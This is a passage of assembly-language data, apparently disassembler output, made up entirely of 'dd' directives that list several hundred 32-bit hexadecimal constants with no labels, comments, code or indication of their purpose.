		dd 0D3042EF3h, 0D4D301F9h, 0B6C0C9F6h, 4219C8E7h, 4709B17Ch
		dd 1CB3C7B0h, 4204DCE8h, 0FCAA60Dh, 50D5C0D5h, 0BE2C4AF3h
		dd 0B7E07A89h, 84DBFB9Fh, 0E002D335h, 0E2ABAB23h, 0CEAA45B8h
		dd 7D9867BAh, 473B5E6Eh, 680A91F1h, 0C6844067h,	0CA532CBh
		dd 0B718391Eh, 656D1EB4h, 165F37CDh, 0FE942F72h, 9257A030h
		dd 3C64E6C9h, 729FCFFEh, 33965ED1h, 84F45F50h, 783E7FF8h
		dd 6A596760h, 30E89A63h, 9D3D6F12h, 0DC0BC7CDh,	0A62D953Ah
		dd 3F57E721h, 52685CECh, 97A285BCh, 4BBE5C79h, 0FF6B2B44h
		dd 0A013508Ah, 80C3FC64h, 0E6C24385h, 5B95DC02h, 0D418435Bh
		dd 33DB33F6h, 0A8A24196h, 0FC2AEB9h, 0CD4C0157h, 0AA6C524Eh
		dd 2B1D902Eh, 0C406BAD4h, 7BD39B15h, 28DAB2BAh,	5CFF45E4h
		dd 0AD36F0FFh, 8E8F07B6h, 0FBE48B62h, 0F29F607Dh, 24D563F2h
		dd 98721D28h, 28FC11CAh, 0B22E4322h, 3A08E77Ah,	90B01D33h
		dd 950AE1B5h, 77DAA4DFh, 17E62DEh, 5CD9718Ch, 715FA72Bh
		dd 82E0AE40h, 0A0A39F64h, 0D6217E4Fh, 0FA126C2Ah, 13DE8B2Dh
		dd 6DAC71DBh, 19F01230h, 0AFAA94D9h, 0F3D29589h, 1FE29BDFh
		dd 433D97A1h, 613EE10Ah, 2A00A661h, 9B94A797h, 0E6E5DCACh
		dd 0A879BA9Ch, 1522299Dh, 0CD855E41h, 17BB4E0Eh, 0DD561FC0h
		dd 4C3FF79Ch, 3DB8E73Dh, 0DF198AADh, 81123E94h,	35E92FAEh
		dd 8CEF1667h, 3376FE69h, 0D07D23Eh, 1417CAFCh, 866AD99Fh
		dd 151431C9h, 0C06C13F2h, 1EF18BD8h, 68224849h,	6E6EE787h
		dd 3C42FEE9h, 9E8891ADh, 0F0661CEAh, 73C89745h,	0F342CAE1h
		dd 0D88D2CB4h, 18B7BD99h, 1822143Fh, 9D027085h,	76CB8D7Bh
		dd 696D0AEEh, 8F79B3F8h, 99A56E15h, 0C869D0B5h,	62B43617h
		dd 2D57B50Bh, 0AFC4796Bh, 0CD319830h, 59BE143Fh, 0F3D2ADD4h
		dd 2DC2D51Eh, 0FE92519Ch, 3B859C31h, 0D478DBF2h, 0A0838D7Eh
		dd 0AEF5CB14h, 829CA333h, 0F3AE0B4Fh, 18904141h, 0BD6B75ABh
		dd 9BD4A8CFh, 5DD4D318h, 0E65A442Fh, 1E7FE8E7h,	0E7A8CC43h
		dd 0CAFE67DBh, 0AE25840h, 0F838F740h, 10B7BC85h, 46685B53h
		dd 40C46B6Fh, 0F20F2DAh, 507FA53Dh, 2803C63Ch, 0CDB68D9h
		dd 631F117Eh, 9370C5DBh, 895A47ADh, 8D67B3A3h, 52EE003Bh
		dd 56BFBD1Ch, 6DB26BEh,	544D9E9Fh, 0D641A57Bh, 5A973FFh
		dd 53A3996h, 44B5B675h,	4624239h, 0D33D48E1h, 0B05519B0h
		dd 0C9693271h, 342823C2h, 1BAF2291h, 89DF38BDh,	807CACE4h
		dd 0FB98A14Eh, 0A093FCD3h, 0F7E8829Eh, 0E53643E0h, 50705CBFh
		dd 0AC115E8Bh, 0B79CE6A2h, 419231DCh, 0E27340E0h, 0E364F99Dh
		dd 0C9BBA8C9h, 0DF572CFAh, 0E472589Dh, 630723E9h, 6545D94Bh
		dd 250DAEBAh, 4CF1087h,	51F54C3Fh, 0D680FEADh, 0E92F5CD8h
		dd 0ADCE4BD0h, 0F96BB7C7h, 37964B7Bh, 0A8F87170h, 0E9342066h
		dd 0AF2A9A87h, 45F94B87h, 3917FC4Eh, 3B94F4D3h,	0D2C42F27h
		dd 7E311BD4h, 9BA46317h, 9E6BC5FDh, 423A8B0h, 7C65AFE5h
		dd 5F6CDA87h, 71454058h, 21402552h, 9EE16A2Dh, 2C28C3F5h
		dd 0BBE27A48h, 36CF0084h, 0D943D10Bh, 8F6C0B08h, 75AF52EBh
		dd 797E94E1h, 3583D579h, 90DD1F0Fh, 40306164h, 62880ED1h
		dd 0DC38FA45h, 0C37444EAh, 1B3CB409h, 1436D459h, 0A577D680h
		dd 189633A9h, 0B87A7384h, 1CACD415h, 938573B0h,	2EB8886Ch
		dd 0C505CD6Bh, 0D362E33h, 2444CDFEh, 12B9D055h,	0F6E8E72Ah
		dd 0BDF19E5Dh, 1BB6A762h, 952B1D80h, 76B2DC1Bh,	0CE50F5CCh
		dd 3185874Eh, 2C5CDEFEh, 0EA1E1137h, 32F65099h,	0E7207C82h
		dd 90ABF3A5h, 0DF3EB330h, 1277954Ch, 0A23B0B18h, 0BFF0A884h
		dd 6EB97926h, 0E08D68A0h, 0BF88DAh, 2BF6EB0Dh, 35A1B108h
		dd 964737DDh, 943FB2D7h, 687A9A10h, 4D38052Ah, 9CE4AA45h
		dd 3391F708h, 9E86A52Fh, 0C087E726h, 4AD4291h, 0B3B4A5BBh
		dd 130718F6h, 0B92F5670h, 7FB263A2h, 0E6387B9Ch, 3AE3372Bh
		dd 0CB20DEB6h, 0E091C934h, 0E33E5E0Dh, 4B440225h, 87CA5657h
		dd 70CE631Bh, 0D6EFF685h, 613A8178h, 2928E82Fh,	71A9BDCh
		dd 0CA0563B7h, 4B3D2244h, 1B74EADh, 42A89DE8h, 22502CAAh
		dd 0DCB3CFC1h, 845560ACh, 93487DB3h, 65C2D465h,	55DAD59Bh
		dd 2001BA28h, 0EE061907h, 60C2ED27h, 4C17E3Ah, 0B245E433h
		dd 99CA3487h, 0CBB209A2h, 0D9957E58h, 4D369427h, 0E4F94535h
		dd 95D12A41h, 97064BDAh, 0B269D5BFh, 0F476757Dh, 0D082D0B2h
		dd 0BFFFE95Bh, 0C36EA749h, 81471AFBh, 575606ECh, 17DE3CE0h
		dd 6A4C60E5h, 62B3EED3h, 0E36DD539h, 0CD08BD89h, 1BB604CAh
		dd 14EFF9B5h, 0EFDB2F73h, 9231353h, 0BBBDE057h,	0F9832BDEh
		dd 18199175h, 0BE7FBD9Ah, 5AC7CB47h, 499C56DBh,	0CE53D78Fh
		dd 9CE93675h, 6A55513Ch, 1818C64Eh, 94F8219Fh, 2FFEE033h
		dd 48400FB2h, 570E0485h, 5AFAF870h, 4AC6BB3Ch, 0D830C2A2h
		dd 2E2033BFh, 0F83CDF69h, 75D5876Dh, 0E685FAB4h, 15495E79h
		dd 0DF28844Fh, 40C15D65h, 7E16E777h, 0FF2629F8h, 17C0D251h
		dd 0B31AB44Eh, 323A5204h, 9FD28EBCh, 0F90DAC64h, 0CE82EAC2h
		dd 3F2CA8B5h, 0FB34D5C2h, 1254DBC8h, 0A4AEA6Ch,	5AEEF264h
		dd 8E32CB90h, 7F814A2Bh, 6CF0A627h, 84071F37h, 94A0BA61h
		dd 0C95DF6F7h, 0A2B1D281h, 1DE9E3FBh, 3593E291h, 0CFAAC015h
		dd 3E0EF180h, 5302BA8Bh, 9DBC8EE3h, 0FE196AA0h,	8FF9D0EFh
		dd 1F2B849Eh, 64731139h, 29034B1Ah, 112C4872h, 0F8170D43h
		dd 8EE9D00Fh, 0B7EC6784h, 0AD0478A3h, 0AF37CE33h, 44936FF1h
		dd 7CB0139Dh, 0DADD5637h, 2D608A9Bh, 6821AB96h,	44A99334h
		dd 0EBC5401Fh, 1954BE0Ch, 0AA0241A3h, 0FE712AFDh, 0A16F4B70h
		dd 0EFB520AEh, 7E4727B5h, 0DBA00B29h, 57AE4009h, 7ABFDC0Ch
		dd 20227139h, 0CA6B57CAh, 0EF33A367h, 9B1C3693h, 40571ED1h
		dd 0C3E54407h, 5BF44B3Eh, 0D34FDFDFh, 1690D0C1h, 90326EFCh
		dd 4044BDBDh, 0E5BB2A69h, 14ADF06Fh, 5F7F87BFh,	0A62ACC9Eh
		dd 47172F8Ch, 8C810365h, 7FD1740Ah, 3AC6C585h, 61E85B35h
		dd 0F8EE548Eh, 0B8AB1200h, 0DB2864C8h, 0B075F3C7h, 451DCDD4h
		dd 64678E97h, 1EE8157Bh, 5797B59Bh, 21F5C56Ah, 77732EE8h
		dd 6B22A03Fh, 5F3C05D5h, 2F1AF182h, 0F4F9B61h, 31F10BE5h
		dd 4C675F7h, 0AFC9357Bh, 333F104Fh, 0FDE2874Ah,	0E2354A8Ch
		dd 13A9E37Ch, 2CB4FB93h, 0CD4E78FAh, 9F0F57C6h,	0D149A09h
		dd 0F9A43FC5h, 3E462CD1h, 2E39BC41h, 2B042093h,	0E4D34B6Ah
		dd 3DEA8C12h, 86FD5343h, 0C9F8001Eh, 0CAD90E65h, 0B89E050Eh
		dd 56DD877Ch, 81C9BF9Ah, 42626DE6h, 0F1F01E1h, 9D43Bh
		dd 0E088CCB9h, 3F0D8278h, 31352937h, 0EED3D422h, 45F7171Bh
		dd 5EE37DEh, 0E3E50CCBh, 634999B5h, 0B28649C3h,	92DCC0F4h
		dd 57EAE479h, 0B817EF4Dh, 0D0DAA444h, 0B503C4B2h, 22B862E1h
		dd 5765F9F7h, 369DA65Bh, 0A1EBCAB8h, 2946C3F4h,	0DE49ABF9h
		dd 0B6A549E1h, 9570104Eh, 3AD82EDCh, 40C5C3A2h,	0A05CFBCDh
		dd 0B5BCB19Fh, 974F1Fh
		dd 5AA26B3Eh, 76A88F7Eh, 4FF4B030h, 0E4F6CCF0h,	0DBED137Dh
		dd 0E764A688h, 0F9FF4776h, 8767689Bh, 8C3C0CB5h, 7FFC0481h
		dd 0B47C3F32h, 6EDFD53Fh, 0E0216339h, 0CF219D12h, 0A1DF0156h
		dd 7A4291DDh, 0A0DCD8D7h, 1BF87C9h, 0C2E42A56h,	0EEE3A75Bh
		dd 1D9D4CEDh, 285A3FF4h, 89D20F4Ah, 23E857Eh, 5A8C5BDAh
		dd 5A886E50h, 7E5F5E19h, 0CA372D96h, 5CA1A27Fh,	34ADBDBAh
		dd 37FC639Ch, 0C9FF6733h, 2391DD60h, 19D4BB67h,	52B15FA5h
		dd 0EC5F1250h, 425A031Ah, 65DAD002h, 7BD21E97h,	0B2F0EC65h
		dd 0E2D20889h, 0F255F6E2h, 68F6C460h, 0EC33B949h, 8879CFB8h
		dd 0F0B93C13h, 0E90EDFE0h, 1352BF72h, 813DF44Ah, 1B950866h
		dd 0A25E896Fh, 0B891FB1Ch, 2A873D94h, 0E30E39F5h, 2097F8A6h
		dd 0B4F67BEFh, 0F0AAFCEBh, 0C6029FF8h, 8909245Ch, 0EC2949B0h
		dd 9B5C61B1h, 0AA195929h, 0B92E85F6h, 7C64FECFh, 0BBA9F2FBh
		dd 0E49157A3h, 1E5A51ECh, 0B5D73727h, 780DB7B9h, 75438C7Ah
		dd 760B6E86h, 80C6D707h, 998ACB94h, 6181443Fh, 0ED3C3548h
		dd 9128072Dh, 0EE3D3DF9h, 0FF70AB69h, 0CD108BA5h, 0DF83C0C9h
		dd 0D4F31807h, 0CD862B0Ch, 0EEE86087h, 593C0621h, 96A8A678h
		dd 0F7B2E585h, 0E926804Bh, 0FD76941Bh, 9AE175E2h, 40F946D6h
		dd 0D4110C12h, 0C1F848A3h, 8281CE38h, 0C53D4D8Eh, 7F09E2D2h
		dd 0EC831CFDh, 0C9B91A5Eh, 678942FCh, 6B233FCAh, 8829A133h
		dd 2B498FC0h, 4C9859EAh, 0B6DB919Ah, 0C550D033h, 92D84C8Eh
		dd 0BC9FF6C2h, 0BD837392h, 8214CABDh, 4370D48Ch, 0FFF8999Fh
		dd 5E20DF91h, 4AEFCF3Eh, 0CA973D81h, 0F0C2D429h, 4570349Dh
		dd 0FD445616h, 3E998Fh,	0C70974BBh, 0C0F46ECEh,	54558F15h
		dd 8F7BDF5Fh, 0C9EEE830h, 0F8B6C002h, 4CE16153h, 7953D38Ah
		dd 1CCBC96h, 0B64C2D33h, 0D97DE169h, 0B5858D85h, 8AB5667Eh
		dd 0F06FE92Ah, 91B10B42h, 53FDBA97h, 99A3135Eh,	0B355E70Bh
		dd 0A1B73F6Dh, 70B9287Ah, 8223658Bh, 33ED986Ah,	83C888D8h
		dd 0EE4F8DE5h, 3930E55h, 0B6895D13h, 211E0824h,	97AE06B2h
		dd 7250EEAFh, 3739D1B5h, 0CC382729h, 3A0822CCh,	27166FA4h
		dd 0FE9B0604h, 0E59F2200h, 0DDBABEF7h, 90AAB39Bh, 204BC482h
		dd 2AED60A3h, 9C5A829Eh, 20B9DF4Ch, 58F1E60h, 0EF0ECE7Dh
		dd 337D77Ah, 32F2FC77h,	6633B4E2h, 826F4240h, 0E3B5ACD5h
		dd 9E397006h, 0E9980C63h, 6D3045BCh, 2C30F7B1h,	0CCCEE3A0h
		dd 9E6FA3C0h, 0E54B1081h, 2E43404Ch, 0B1E1677h,	9284062Ch
		dd 0DE788EF7h, 3258DEF3h, 9920016Eh, 4C58D49Bh,	0BEDEEC52h
		dd 14143A9Eh, 892CFE1Dh, 3E78E694h, 0CA0042F9h,	14DC3CF7h
		dd 0A54B8634h, 92BB21F8h, 2D89E508h, 0BF4D573Ch, 6B0A7448h
		dd 7D37D32h, 0F9B3C0Bh,	0C27D0E46h, 0CE67B53Dh,	63F47F84h
		dd 0FA0B32EBh, 0AB5849Bh, 3309E08Dh, 2FE0998Ch,	0A8A6FC11h
		dd 0DB246DD9h, 221D2E87h, 39676E15h, 0AD42DF68h, 2B1216BAh
		dd 9521AC43h, 0A1F7119Bh, 0BDAFFFA0h, 0E7578D46h, 0AFD6751Bh
		dd 0BE5FE7A3h, 0CFAF7BFCh, 0D8706F04h, 0E997B9D7h, 4F043D23h
		dd 0F1B23809h, 4A1ECEE4h, 0A21BB1F3h, 0CD0B0C0Fh, 11D67D6Bh
		dd 0F2421775h, 45DD4D9Bh, 8E314Fh, 6516D28Ch, 836DAD57h
		dd 0FF0509C3h, 0D4226672h, 0C0FB78F5h, 6EDDF4C9h, 0FE930079h
		dd 0FB4D8596h, 0B7537DE8h, 0B3E537Eh, 5FA9F95Dh, 0BF25A3DFh
		dd 55566D45h, 4108E78h,	0DECDB960h, 29A25D18h, 0ECA1AE5Eh
		dd 148EC75Dh, 1D72FE62h, 0F0F8F7B9h, 88D060Dh, 9E088328h
		dd 70F03EABh, 21BC1068h, 0F331A14Fh, 0DCC857C2h, 64558156h
		dd 496999CCh, 5B96F685h, 7FAFB220h, 17CFF68Eh, 266AA458h
		dd 5BF6F336h, 12D80CB5h, 359ABBBFh, 0F8F5BC72h,	8763D53h
		dd 0F2720B0Eh, 0B0849F21h, 49DCC81h, 0FF2D1475h, 99187F6Dh
		dd 0BE601CB0h, 8A84438Ah, 6EE49B8Eh, 0C44FE897h, 0C91346ABh
		dd 5BB7EB2Ah, 981EBEBAh, 0E41673E3h, 9210FE89h,	0E24E35F6h
		dd 2A89621Fh, 6C415DB2h, 48B0D2FDh, 3D83FCC6h, 27997246h
		dd 0EE227EFBh, 4334BD4Dh, 619DE411h, 1FDEE49Ch,	0B41B2FECh
		dd 1BBFAA82h, 98EAED21h, 4A41999Dh, 99B2201Eh, 0CE208218h
		dd 0C5396D23h, 2DA1429Ch, 0EBB14C2Fh, 0F3BD0C43h, 0C56642B5h
		dd 0AAA99042h, 2BD6600Ch, 0CB03D896h, 0CDFBB6A6h, 21118246h
		dd 19BC671Dh, 0D730F1FCh, 996BE587h, 0BC6AE53Dh, 958FEC8h
		dd 0E1EC6C58h, 0CAE0FBACh, 0E811A973h, 31E7074Fh, 68BC8747h
		dd 42E7F2CEh, 41606EA2h, 48EEF58h, 0D6B5EFB2h, 0FC64FAD4h
		dd 0C43C6286h, 763D2C57h, 0FC817475h, 0D6F98E18h, 0F7792C5Dh
		dd 0E6AA605Eh, 0AA13A5AFh, 2BDF611Fh, 0C8CBF7E6h, 28069A11h
		dd 0CB6075EDh, 0F9062BF9h, 0FA5B32BEh, 38E4197Eh, 886A4DFDh
		dd 2787E111h, 0D7A64DABh, 21BD9BE4h, 67E4470Fh,	0D458FEDBh
		dd 975125FEh, 0A006A9B7h, 8A21A812h, 0EF1FECC9h, 0D1114693h
		dd 0BC7BC15Bh, 29176A55h, 5F740D29h, 4DB3AD8Ch,	8144C3FFh
		dd 33309F26h, 0B9B16BD8h, 9484D89Ah, 0B43E3A73h, 1053EB41h
		dd 105FB552h, 31FF53BCh, 0EFEAACA3h, 0A897DADFh, 64D7D24h
		dd 0B4C09D09h, 16524BCFh, 0C9D5BD21h, 10FAA481h, 6DFE2F2Eh
		dd 750E7BC5h, 587A6004h, 0C22C6DE2h, 985E9D35h,	0F30AE42Dh
		dd 0ADA11ACFh, 538148E4h, 22CAF1FBh, 0B6D9CD29h, 76480E63h
		dd 269A1911h, 10E38656h, 7C709295h, 0DA48F9DCh,	1B191881h
		dd 3A2EB403h, 0C1CE58E6h, 2C07152Bh, 79B578DAh,	2FE251B8h
		dd 0A4AC8636h, 1C00CA7Ch, 7CD82545h, 95C5CDD8h,	0CB61B3E8h
		dd 0E17BC586h, 0B0509CDBh, 51D45FA6h, 53FEA113h, 49D56C3Dh
		dd 6195F7B9h, 779C7B32h, 77D0469Ah, 0C71B5082h,	9082636Eh
		dd 94BD82E1h, 8F4770ACh, 20971C24h, 394CF171h, 355FA74Dh
		dd 0F8285CF0h, 96F58326h, 30D1D832h, 0A246D2E1h, 8DA8DA20h
		dd 30C9C0B9h, 9C24B7C8h, 5BE325D9h, 6D12BBC1h, 1D153785h
		dd 76B2451Eh, 4C0C7A40h, 0F0D9E1A1h, 2C2AECE5h,	872A9680h
		dd 6FDAF319h, 41F6A9A1h, 1A7E6D0h, 0ED855D7Ah, 37345804h
		dd 85FDB162h, 636D4757h, 1D5125D0h, 0B500A37Eh,	8439334Ch
		dd 7F911CD3h, 800BAEDAh, 6AC55E49h, 8543BF14h, 697537F6h
		dd 5567663Ah, 0F2B60146h, 4A10533Ch, 4426264Bh,	0D127B9DBh
		dd 98DA3630h, 59854F01h, 0EC9473EDh, 3F402509h,	0C998B8C1h
		dd 0A0AAED3Eh, 0B1F01297h, 0E9389F79h, 6D425540h, 2F597058h
		dd 0FB3C1012h, 6D26F212h, 11C3D355h, 25BDF91Ch,	38913FC4h
		dd 45E83A01h, 7BCA7BDAh, 7F41B1CBh, 0E9C6F28h, 66256432h
		dd 154E21C9h, 0BF02C68Ah, 0ED2B38A4h, 1EADD9FBh, 0F7C46962h
		dd 0C52B3735h, 0DE7FE053h, 9C05CA56h, 412678E9h, 0A5F47415h
		dd 0F9C9E7A7h, 0A70DF600h, 0C7BCB816h, 40CF96F9h, 6FC00CBh
		dd 2560FE58h, 93134AB8h, 0D97878F2h, 4212CA26h,	0B820B31h
		dd 7B26CAD9h, 4247ADBAh, 0D9CD94FDh, 7DEB65EEh,	0C6628DC6h
		dd 0B80AB122h, 230DAD2h, 8CB24169h, 630AC335h, 292D242Dh
		dd 3BA5B319h, 9DFD4B46h, 0B2F99E4Eh, 9D9AAEACh,	0D55436AFh
		dd 0A7FD9620h, 0FE1BB8EBh, 0EEAA6802h, 0E4D74453h, 0C7FB7336h
		dd 0F4CF2A0Ch, 42136277h, 6E37A0A8h, 1BA4750Ah,	5D1B2122h
		dd 0A08F8A10h, 0A7D29FDEh, 8B705663h, 9B1AF53Eh, 4F1FDCA5h
		dd 696DB877h, 0C54169CCh, 82DEB41Bh, 0F8D4426h,	7A4BBA5Fh
		dd 7E6F68ACh, 0AD7A8093h
		dd 0D5473F15h, 0C6FB7F2Dh, 705F9362h, 7CC9FA3Ch, 42890705h
		dd 7E159B96h, 533A5739h, 368F3635h, 9DA22D7Fh, 3CBF23BCh
		dd 2847255Bh, 0F4037BFBh, 0F3D026D1h, 1FE7FB19h, 0B0E9D3AAh
		dd 1A5689A0h, 971ACBACh, 7E3D12ACh, 9650AF0Fh, 9AA0326Ah
		dd 5FBEF640h, 5E3554BAh, 9940EB60h, 18D75893h, 0B25366AEh
		dd 0ADAC2C0Bh, 48056307h, 505DDE5Dh, 0DC13794Bh, 0DB879A66h
		dd 143E05B6h, 91BD6AE9h, 643A4A7Bh, 5855A08Ah, 479B0801h
		dd 104FED97h, 0A29F975Ah, 7C2BC497h, 3A8FEB66h,	88F84417h
		dd 380C3C5Ch, 15393E7Eh, 0BC4410DCh, 0D7FAD70Ah, 2279D4B9h
		dd 3C6F87E9h, 0E2BBFD3Eh, 4C02A32Dh, 12EE5651h,	947FF4E2h
		dd 0D8C3527Bh, 997DA54Ch, 0D66FC0C1h, 3AC47F5Ah, 3BBE85Ch
		dd 46755E26h, 0D575900Ch, 36E500B6h, 5D65835Ch,	0F81C33EEh
		dd 0D0DA60F3h, 850CECD4h, 0DA84E59Dh, 0C0B741EBh, 0A3A63369h
		dd 44B9342Eh, 339E8E96h, 2299348Eh, 94D9BADEh, 5800D129h
		dd 0BFC9B2CFh, 0A8A26BBh, 9F50ED6Dh, 85ADCEC0h,	27D5F93Ch
		dd 0EE1657F0h, 9C0A0312h, 0D67BF62Fh, 23D691D1h, 97208116h
		dd 1F1E798h, 0B425DE40h, 1287B88Fh, 72A34FDEh, 3CE725F0h
		dd 0C01FF910h, 0B062C03Ch, 0CD819CDDh, 0EE773C73h, 0FA8BCF4Fh
		dd 0EFF97DDFh, 489EC2BCh, 0B4F59FBCh, 0E23C8270h, 0E8C6F32Ah
		dd 5B92313Fh, 0B9FC4E25h, 0B0488322h, 7A09686Eh, 0BB73935Dh
		dd 70655437h, 2FDBDCF4h, 0FC7EB666h, 210F845Eh,	60BE10C7h
		dd 52BA348h, 23B6C5E1h,	0F6BC6E28h, 0F0301A82h,	7315DADEh
		dd 4EFD6779h, 762CC88Fh, 0AA745D2Eh, 3DEA7A79h,	66C1F0BAh
		dd 173671Ah, 31D0ABDDh,	0E52CEC9Ah, 0BDCC3E68h,	0D033E898h
		dd 340DA757h, 0F7659783h, 74419B00h, 5F75586h, 0DEDEFBCEh
		dd 392303C8h, 23E7D75h,	34E66339h, 0F919A5ECh, 31BD444Ah
		dd 80F9922Ah, 958E9294h, 0DDBC22ADh, 0A369638Fh, 0EDF97509h
		dd 681F30BCh, 0C93FF8FEh, 1A59FD08h, 48B4F4B8h,	765AE2A7h
		dd 46AB0F41h, 0FAA5FA7h, 7BC8360Ch, 1ADF608Eh, 0FEF66DB5h
		dd 457C4F4Fh, 8EBA8403h, 0C7FD78EBh, 0F3C441B7h, 564D9F45h
		dd 79FB5F22h, 0F471DBF5h, 0B8DDC302h, 0ACA5BFB8h, 0EBAB198Ch
		dd 0B4E7C20Dh, 6F729BFBh, 5A799949h, 0E6FAD9Ch,	120887EDh
		dd 1DC20B0Ah, 38013052h, 0DC5F8861h, 0B46474AFh, 6BDB475Bh
		dd 0FEBEC675h, 0F249C540h, 3195DB7Bh, 4D376B7Fh, 2F4639B4h
		dd 2A69668Eh, 0A645E910h, 92711C44h, 0AB5C6C16h, 8FB4CCFCh
		dd 0ECC15FBCh, 9853330Ch, 0AA4C672Bh, 99D882C1h, 88B6B450h
		dd 0C44A6735h, 0E78264D9h, 0B87B79E0h, 0DBA5395h, 45A365E4h
		dd 0C51AAE01h, 0C98FCC18h, 0D39693E1h, 34D22837h, 2BD3E83Eh
		dd 0B04BD88Ch, 20BA0912h, 39E7AABDh, 3891C976h,	784231E4h
		dd 120BE3Ch, 0E78E746Bh, 64ECE5B5h, 0CA76326Bh,	4A59FBCEh
		dd 54BBE6D4h, 0FDD31D35h, 412A7893h, 968D2E3Ch,	599F2AAAh
		dd 5D5FAB03h, 542DA58Bh, 0F0DBCC97h, 65257AEh, 0C1BBE9E6h
		dd 3149532Bh, 8DBCE261h, 0D737D486h, 0FAB2B3C4h, 11F966A0h
		dd 5C93A1F0h, 1CBC75A2h, 0B409A646h, 7A540E2Bh,	6156057Fh
		dd 0C5FB72FFh, 224429C0h, 53C9250Eh, 72B75448h,	8913F8DDh
		dd 0AE7A405Dh, 4CC7CBB2h, 0FE512E6Eh, 844FF6CAh, 849D3BCFh
		dd 0DA9F0088h, 951D8417h, 0A5F1A812h, 6DB6C065h, 3E02B0BDh
		dd 0DAD53E21h, 88AD16F4h, 0DFC8B527h, 0D0500EB5h, 13B87A80h
		dd 2C1E6596h, 0B9557F04h, 0FAC36B84h, 2E28BE41h, 6A5BCC54h
		dd 866A17CBh, 0F8912C35h, 7F4F0C75h, 4F4FFE68h,	333E1247h
		dd 0FC6DC6D9h, 0CBA9C9BFh, 0C9E6C383h, 3C1C2944h, 0CD139F39h
		dd 0BED5AA98h, 8ECD7BF5h, 9C1A9BA3h, 0C191DD30h, 69851AA8h
		dd 4638AD04h, 8998FD4Eh, 333AFD9Dh, 3DCBB426h, 1A3C756Ah
		dd 5EE0100h, 9AA80274h,	0BBB5E70Bh, 82D48B9Bh, 25DD64F0h
		dd 21217161h, 0F9EA780Fh, 0B53883ADh, 868F6A5Eh, 0B6409CC3h
		dd 8EFD5A51h, 0FDE321Eh, 597AD5A3h, 28CAB159h, 96ECBA72h
		dd 0B4BBC07Fh, 0A7878456h, 56A46853h, 0F1BA120Ch, 0FCFD1400h
		dd 0A2CAEE1Eh, 0CF1FFE4h, 8344ADEh, 4F0AB476h, 0CFB6C07Bh
		dd 0B4E02BAFh, 1DE35C39h, 93D27FB2h, 0FB85A141h, 4B8F7AA8h
		dd 0CB5B6976h, 41477F0Ch, 9FD82946h, 13CC4C15h,	0BDB9D8Bh
		dd 2278FBAh, 4E895E13h,	0D1EC38C3h, 0E07DF1B9h,	8C560388h
		dd 0D9DE13A5h, 95AB56B1h, 1ECFACF1h, 2BB4811Ch,	896CCBAFh
		dd 785D4036h, 84602361h, 9A35400h, 50EF9907h, 0DB7B48C0h
		dd 0ECCC5821h, 24BD3AA3h, 494A2656h, 3E5BF45Ch,	6ADB33D2h
		dd 0D8F3AB1Ch, 5074575h, 54EA00A8h, 237BC8Ah, 0EB310787h
		dd 2E00EB05h, 0EDE428E0h, 4EEB5ED5h, 641DC8D6h,	0A50A8DB4h
		dd 168A4AC6h, 6ADB9C75h, 0AC24710Bh, 36EA3DA9h,	3F8BC1C8h
		dd 0D60DE34h, 5F3C886h,	0B740AF2Fh, 6677FF45h, 6C607402h
		dd 5896CBFFh, 90A392E6h, 0A7E92FFEh, 18D0B2FAh,	620ECAA6h
		dd 0E23CB60Dh, 6559CBBAh, 10BBB7EBh, 27C229C3h,	0ACF9860Dh
		dd 8BC372FCh, 836DC3BAh, 4A0B49A0h, 0D5AAF293h,	0C1246963h
		dd 84F5F8h, 9B01FC23h, 0C1244D8Fh, 9FF1FB29h, 0C2563F0Eh
		dd 5183A900h, 9EA9FD2h,	3C0BAB85h, 47011621h, 207ADBAEh
		dd 6BF02F3h, 1A4B1099h,	7CB5993Ah, 0B19FFFDFh, 3EB1DAD9h
		dd 4D0C1157h, 2F592024h, 198C448Dh, 5801E8FFh, 0BEDDACCEh
		dd 1AE028E4h, 0B819B233h, 606AA905h, 5599B7AAh,	71DA2051h
		dd 5F7CEF7Dh, 0FCE5070Fh, 64A431F8h, 0EFDF8017h, 20FCDAE3h
		dd 0A93B6820h, 26D0B8A4h, 0D69B5331h, 6E485779h, 748A373Dh
		dd 0A5EFFF2Ch, 0E14EB812h, 0F35DC84Fh, 17D73E91h, 7D2CD42Eh
		dd 1FDF9D32h, 0A3004CE9h, 2481475h, 8E90785Ah, 0FACB5395h
		dd 0D8EE417h, 9084DC35h, 4EF04753h, 721239Ah, 7EE53167h
		dd 1F998020h, 0A389B043h, 6F85AA92h, 62945912h,	0BC6D0591h
		dd 4249FE78h, 4B87A843h, 1A55DD9Ch, 0A75F7F13h,	0C0C06C71h
		dd 0C740C96Ah, 5EB60167h, 9F5E582Eh, 0EC9A6F3Dh, 0F1B40AD0h
		dd 921E424Fh, 0B515F978h, 0A20F2A0Fh, 4566C548h, 26104828h
		dd 86AE9B65h, 9E932655h, 1A4E3088h, 0D4C92ECFh,	0AA052CEFh
		dd 0E55BCE63h, 0A053F703h, 0D03FAF5Dh, 81ABEE94h, 19285D60h
		dd 8559FEh, 5CBD7490h, 0B728B6CFh, 566E394Ch, 95FC61BEh
		dd 5734E47Eh, 13031F9h,	7671E20Ch, 0EC13DBDDh, 0A72CAF0Fh
		dd 0B6FBFBA7h, 39A20F7Dh, 0CD7F728Ah, 0DC9EC322h, 233BB2C6h
		dd 263DB01Fh, 50528F0Ah, 1E03BA6Fh, 387FC68Bh, 4F2BCA04h
		dd 0F1A13148h, 0E66C6408h, 9672A497h, 8FB2AC0Ch, 5F7C6E9Bh
		dd 0D5BAEE94h, 0C5995E82h, 0AB5BB010h, 2679F148h, 1BFE7EABh
		dd 0C266345Ch, 0F1CA94A5h, 42E25590h, 26AD343Ch, 0DC17031Eh
		dd 2FA0D0A6h, 9357A288h, 0BBFD9CB7h, 0EBBC45ECh, 0E1970D48h
		dd 0FE8C12A0h, 563222ADh, 522D3F47h, 20E5BF78h,	2773B566h
		dd 6CF33AC1h, 3C3E3505h, 64F0D57Bh, 2FF09C75h, 0E4BB7B4Ah
		dd 97523CD6h, 7BBEC272h, 96429AA6h, 14F0BC0Bh, 350D4680h
		dd 906A6863h, 2F26B06Ah, 0CF24C041h, 0C08D1D39h, 0C9FF7E61h
		dd 0B6C1DC93h, 0C05F099h, 989FA35Ah, 31309A41h,	226DAC53h
		dd 6DA0578Ah, 333772BDh, 67BF1AA5h, 13D6ECFEh, 90D88E95h
		dd 5A00C9ABh, 0B31AB746h, 4CBA1E6h, 0EC070A4Bh,	0BE342D57h
		dd 0E6E0332Eh, 0A508C604h
		dd 5D3B7AC1h, 0A880C0E2h, 32CC32A8h, 452DB8Ah, 0B358415Ah
